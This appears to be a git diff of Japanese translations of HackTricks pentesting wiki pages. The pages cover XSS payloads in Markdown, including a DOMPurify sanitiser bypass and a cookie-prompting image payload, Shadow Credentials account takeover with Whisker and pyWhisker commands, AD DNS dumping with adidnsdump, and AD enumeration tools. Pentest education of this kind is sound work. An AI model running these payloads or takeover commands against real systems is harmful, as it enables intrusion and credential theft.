![Uh oh...]("onerror="alert('XSS'))
![Uh oh...](https://www.example.com/image.png"onload="alert('XSS'))
![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad'))
![Escape SRC - onerror]("onerror="alert('ImageOnError'))
```
### HTMLサニタイザーマークダウンバイパス
### HTML Sanitiser Markdown Bypass
以下のコードは**HTML入力をサニタイズ**してから**それをマークダウンパーサーに渡し**、その後、XSSがトリガーされ、MarkdownとDOMPurifyの間で誤解が生じることがある
以下のコードは**HTML入力をサニタイズ**し、その後**マークダウンパーサーに渡します**。その後、XSSはMarkdownとDOMPurifyの間の誤解を利用してトリガーされる可能性があります
```html
<!--from https://infosecwriteups.com/clique-writeup-%C3%A5ngstromctf-2022-e7ae871eaa0e -->
<script src="https://cdn.jsdelivr.net/npm/dompurify@2.3.6/dist/purify.min.js"></script>
@ -62,19 +65,7 @@ document.body.innerHTML = marked.parse(DOMPurify.sanitize(qs.get("content")));
}
</script>
```
## ペイロードの例:
```html
<script>alert('XSS in Markdown')</script>
```
```markdown
[Click me](javascript:alert('XSS in Markdown'))
```
```html
<img src="x" onerror="alert('XSS in Markdown')">
```
ペイロードの例:
```html
<div id="1
@ -166,14 +157,17 @@ _http://danlec_@.1 style=background-image:url(data:image/png;base64,iVBORw0KGgoA
![XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\
![XSS'"`onerror=prompt(document.cookie)](x)\
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# エソテリック言語
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**、またはHackTricksをPDFでダウンロードしたいですか[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけてください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
## [エソテリック言語ウィキ](https://esolangs.org/wiki/Main\_Page)
## [Esolangs Wiki](https://esolangs.org/wiki/Main\_Page)
そのウィキをチェックして、さらにエソテリック言語を検索してください
このウィキをチェックして、さらに多くのエソテリック言語を検索してください
## Malbolge
```
@ -61,8 +64,6 @@ Whisper my world
{% embed url="https://codewithrockstar.com/" %}
## PETOOH
ペトゥー
```
KoKoKoKoKoKoKoKoKoKo Kud-Kudah
KoKoKoKoKoKoKoKo kudah kO kud-Kudah Kukarek kudah
@ -72,14 +73,17 @@ KoKoKoKo Kud-Kudah KoKoKoKo kudah kO kud-Kudah kO Kukarek
kOkOkOkOkO Kukarek Kukarek kOkOkOkOkOkOkO
Kukarek
```
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong>を使用して、ゼロからヒーローまでAWSハッキングを学びましょう</summary>
<summary>HackTricksをサポートする</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,81 +1,86 @@
# シャドウクレデンシャル
# Shadow Credentials
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## イントロ <a href="#3f17" id="3f17"></a>
## Intro <a href="#3f17" id="3f17"></a>
**このテクニックに関するすべての情報については、[元の投稿を確認してください](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)。**
**Check the original post for [all the information about this technique](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab).**
**要約**: ユーザー/コンピューターの**msDS-KeyCredentialLink**プロパティに書き込むことができれば、そのオブジェクトの**NTハッシュ**を取得できます。
要約すると、ユーザー/コンピュータの**msDS-KeyCredentialLink**プロパティに書き込むことができれば、そのオブジェクトの**NTハッシュを取得**できます。
この投稿では、**公開-秘密鍵認証クレデンシャル**を設定して、ターゲットのNTLMハッシュを含む一意の**サービスチケット**を取得する方法が概説されています。このプロセスには、PAC内の暗号化されたNTLM_SUPPLEMENTAL_CREDENTIALが含まれており、これを復号化できます。
投稿では、ターゲットのNTLMハッシュを含むユニークな**サービスチケット**を取得するための**公開鍵-秘密鍵認証資格情報**を設定する方法が概説されています。このプロセスには、復号可能な特権属性証明書(PAC内の暗号化されたNTLM_SUPPLEMENTAL_CREDENTIALが含まれます。
### 必要条件
### Requirements
このテクニックを適用するには、特定の条件を満たす必要があります:
- 少なくとも1つのWindows Server 2016ドメインコントローラーが必要です。
- ドメインコントローラーにはサーバー認証デジタル証明書がインストールされている必要があります。
この技術を適用するには、特定の条件を満たす必要があります:
- 最低1台のWindows Server 2016ドメインコントローラーが必要です。
- ドメインコントローラーにはサーバー認証デジタル証明書がインストールされている必要があります。
- Active DirectoryはWindows Server 2016機能レベルである必要があります。
- ターゲットオブジェクトの**msDS-KeyCredentialLink**属性を変更する権を持つアカウントが必要です。
- ターゲットオブジェクトのmsDS-KeyCredentialLink属性を変更するための委任権を持つアカウントが必要です。
## 悪用
## Abuse
コンピューターオブジェクトのKey Trustの悪用には、TGTTicket Granting TicketとNTLMハッシュを取得する手順に加えて、次のオプションが含まれます:
1. 特権ユーザーとして振る舞う**RC4シルバーチケット**を作成します
2. **S4U2Self**を使用してTGTを使用し、**特権ユーザー**を偽装します。この場合、サービスチケットにサービス名にサービスクラスを追加する必要があります。
コンピュータオブジェクトに対するKey Trustの悪用は、チケット付与チケットTGTとNTLMハッシュの取得を超えるステップを含みます。オプションには以下が含まれます:
1. 意図したホストで特権ユーザーとして機能するための**RC4シルバーチケット**を作成すること
2. **S4U2Self**を使用して**特権ユーザー**のなりすましを行うために、サービス名にサービスクラスを追加するためにサービスチケットを変更する必要があります。
Key Trustの悪用の重要な利点は、攻撃者が生成したプライベートキーに制限されていることであり、潜在的に脆弱なアカウントに委任されることなく、コンピューターアカウントを作成する必要がないため、削除が難しい場合があることです。
Key Trustの悪用の大きな利点は、攻撃者が生成した秘密鍵に制限され、潜在的に脆弱なアカウントへの委任を回避し、削除が難しいコンピュータアカウントの作成を必要としないことです。
## ツール
## Tools
### [**Whisker**](https://github.com/eladshamir/Whisker)
の攻撃に対するC#インターフェースを提供するDSInternalsに基づいています。**Whisker**およびそのPythonバージョンである**pyWhisker**は、`msDS-KeyCredentialLink`属性を操作してActive Directoryアカウントを制御することを可能にします。これらのツールは、ターゲットオブジェクトからキークレデンシャルを追加、リスト、削除、クリアするなどのさまざまな操作をサポートしています。
れは、攻撃のためのC#インターフェースを提供するDSInternalsに基づいています。WhiskerとそのPythonの対応物である**pyWhisker**は、ターゲットオブジェクトの`msDS-KeyCredentialLink`属性を操作してActive Directoryアカウントを制御することを可能にします。これらのツールは、ターゲットオブジェクトからキー資格情報を追加、リスト、削除、クリアするなど、さまざまな操作をサポートしています。
**Whisker**の機能には次のものがあります:
- **Add**: キーペアを生成してキークレデンシャルを追加します。
- **List**: すべてのキークレデンシャルエントリを表示します。
- **Remove**: 指定されたキークレデンシャルを削除します。
- **Clear**: すべてのキークレデンシャルを消去し、合法的なWHfBの使用を妨げる可能性があります。
**Whisker**の機能には以下が含まれます:
- **Add**: キーペアを生成し、キー資格情報を追加します。
- **List**: すべてのキー資格情報エントリを表示します。
- **Remove**: 指定されたキー資格情報を削除します。
- **Clear**: すべてのキー資格情報を消去し、正当なWHfBの使用を妨げる可能性があります。
```shell
Whisker.exe add /target:computername$ /domain:constoso.local /dc:dc1.contoso.local /path:C:\path\to\file.pfx /password:P@ssword1
```
### [pyWhisker](https://github.com/ShutdownRepo/pywhisker)
それはImpacketとPyDSInternalsを活用して、**UNIXベースのシステム**にWhiskerの機能を拡張し、リスト、追加、削除KeyCredentials、およびそれらをJSON形式でインポートおよびエクスポートする包括的な攻撃能力を提供します。
UNIXベースのシステムにWhiskerの機能を拡張し、ImpacketとPyDSInternalsを活用して、KeyCredentialsのリスト、追加、削除を含む包括的なエクスプロイト機能を提供し、JSON形式でのインポートおよびエクスポートも可能です。
```shell
python3 pywhisker.py -d "domain.local" -u "user1" -p "complexpassword" --target "user2" --action "list"
```
### [ShadowSpray](https://github.com/Dec0ne/ShadowSpray/)
ShadowSprayは、広範なユーザーグループがドメインオブジェクトに対して持っているGenericWrite/GenericAll権限を悪用して、ShadowCredentialsを広く適用することを目的としています。これには、ドメインにログインし、ドメインの機能レベルを確認し、ドメインオブジェクトを列挙し、TGT取得およびNTハッシュの明らかにするためにKeyCredentialsを追加しようとする作業が含まれます。クリーンアップオプションと再帰的な悪用戦術がその有用性を高めています。
ShadowSprayは、**ドメインオブジェクトに対して広範なユーザーグループが持つ可能性のあるGenericWrite/GenericAll権限を悪用して、ShadowCredentialsを広く適用することを目的としています**。これには、ドメインにログインし、ドメインの機能レベルを確認し、ドメインオブジェクトを列挙し、TGT取得とNTハッシュ開示のためにKeyCredentialsを追加しようとすることが含まれます。クリーンアップオプションと再帰的な悪用戦術がその有用性を高めます。
## 参考文献
## References
* [https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)
* [https://github.com/eladshamir/Whisker](https://github.com/eladshamir/Whisker)
* [https://github.com/Dec0ne/ShadowSpray/](https://github.com/Dec0ne/ShadowSpray/)
* [https://github.com/ShutdownRepo/pywhisker](https://github.com/ShutdownRepo/pywhisker)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学びましょう</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですかまたは、HackTricksを**PDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,20 +1,23 @@
# AD DNS レコード
# AD DNS Records
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
* [**公式PEASSHackTricks swag**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、または**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Active Directoryの**任意のユーザー**は、デフォルトでドメインまたはフォレストDNSゾーンの**すべてのDNSレコード**を列挙できます。これは、AD環境においてDNSゾーンの子オブジェクトをリスト化できるゾーン転送に類似しています
デフォルトでは、Active Directoryの**すべてのユーザー**がドメインまたはフォレストDNSゾーン内の**すべてのDNSレコードを列挙**できます。これはゾーン転送に似ていますユーザーはAD環境内のDNSゾーンの子オブジェクトをリストできます
ツール[**adidnsdump**](https://github.com/dirkjanm/adidnsdump)は、内部ネットワークの調査目的でゾーン内の**すべてのDNSレコード**を**列挙**および**エクスポート**することを可能にします。
ツール[**adidnsdump**](https://github.com/dirkjanm/adidnsdump)は、内部ネットワークの偵察目的でゾーン内の**すべてのDNSレコードの列挙**と**エクスポート**を可能にします。
```bash
git clone https://github.com/dirkjanm/adidnsdump
cd adidnsdump
@ -23,16 +26,19 @@ pip install .
adidnsdump -u domain_name\\username ldap://10.10.10.10 -r
cat records.csv
```
詳細については[こちら](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)を参照してください。
For more information read [https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/](https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,35 +1,38 @@
# BloodHound & 他のAD Enumツール
# BloodHound & Other AD Enum Tools
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary>
<summary>Support HackTricks</summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つけます
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を手に入れます
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AD Explorer
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) はSysinternal Suiteから
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) は Sysinternal Suite の一部です
> 高度なActive DirectoryADビューアーおよびエディター。AD Explorerを使用して、ADデータベースを簡単にナビゲートし、お気に入りの場所を定義し、ダイアログボックスを開かずにオブジェクトのプロパティと属性を表示し、アクセス許可を編集し、オブジェクトのスキーマを表示し、保存および再実行できる複雑な検索を実行できます。
> 高度な Active Directory (AD) ビューアおよびエディタです。AD Explorer を使用すると、AD データベースを簡単にナビゲートし、お気に入りの場所を定義し、ダイアログボックスを開かずにオブジェクトのプロパティや属性を表示し、権限を編集し、オブジェクトのスキーマを表示し、保存して再実行できる高度な検索を実行できます。
### スナップショット
### Snapshots
AD ExplorerはADのスナップショットを作成できるため、オフラインで確認できます。\
オフラインで脆弱性を発見したり、ADデータベースの異なる状態を比較したりするために使用できます。
AD Explorer AD のスナップショットを作成できるため、オフラインで確認できます。\
オフラインで脆弱性を発見したり、時間の経過に伴う AD DB の異なる状態を比較したりするために使用できます。
ADのスナップショットを取るには、接続するためのユーザー名、パスワード、および方向が必要です。
接続するには、ユーザー名、パスワード、および方向が必要です(任意の AD ユーザーが必要です)
ADのスナップショットを取るには、`File` --> `Create Snapshot`に移動し、スナップショットの名前を入力します。
AD のスナップショットを取得するには、`File` --> `Create Snapshot` に移動し、スナップショットの名前を入力します。
## ADRecon
[**ADRecon**](https://github.com/adrecon/ADRecon) は、AD環境からさまざまなアーティファクトを抽出して組み合わせるツールです。情報は、**特別にフォーマットされた**Microsoft Excel **レポート**に表示され、分析を容易にし、対象のAD環境の現在の状態の包括的なイメージを提供するためのメトリクス付きのサマリービューが含まれています。
[**ADRecon**](https://github.com/adrecon/ADRecon) は、AD 環境からさまざまなアーティファクトを抽出して結合するツールです。この情報は、分析を容易にし、ターゲット AD 環境の現在の状態の全体像を提供するためのメトリックを含む要約ビューを含む **特別にフォーマットされた** Microsoft Excel **レポート** で提示できます。
```bash
# Run it
.\ADRecon.ps1
@ -38,51 +41,50 @@ ADのスナップショットを取るには、`File` --> `Create Snapshot`に
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
> BloodHoundは、[Linkurious](http://linkurio.us/)をベースに構築された、[Electron](http://electron.atom.io/)でコンパイルされ、C#データコレクターによって供給されるNeo4jデータベースを使用する、シングルページのJavascript Webアプリケーションです。
